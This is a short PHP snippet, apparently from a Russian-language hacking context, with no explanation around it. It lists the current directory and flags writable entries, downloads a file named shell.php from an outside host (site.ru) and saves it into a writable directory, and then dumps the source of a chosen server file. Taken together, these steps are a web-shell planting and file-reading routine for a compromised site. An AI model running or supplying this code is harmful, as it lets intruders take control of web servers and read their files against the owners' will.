$d = dir(".");
echo "Path: " . realpath($d->path) . "<br />\n";
while (false !== ($entry = $d->read())) {
if (is_dir(realpath($d->path).'/'.$entry)) {
echo "[".$entry."]".(is_writable(realpath($d->path).'/'.$entry)
? '[w]' : '').
"<br />\n";
} else {
echo $entry.(is_writable(realpath($d->path).'/'.$entry) ?
'[w]' : '')."<br />\n";
}
}
$d->close();

$linky="http://site.ru/shell.php";
$saved="/путь_до_расширенной_диры/shell.php";
$from=fopen("$linky","r");
$to=fopen("$saved","w");
while(!feof($from)){
$string=fgets($from,4096);
fputs($to,$string);
}
fclose($to);
fclose($from);

echo nl2br(htmlspecialchars(implode('', file('/путь_до_файла/file.php'))));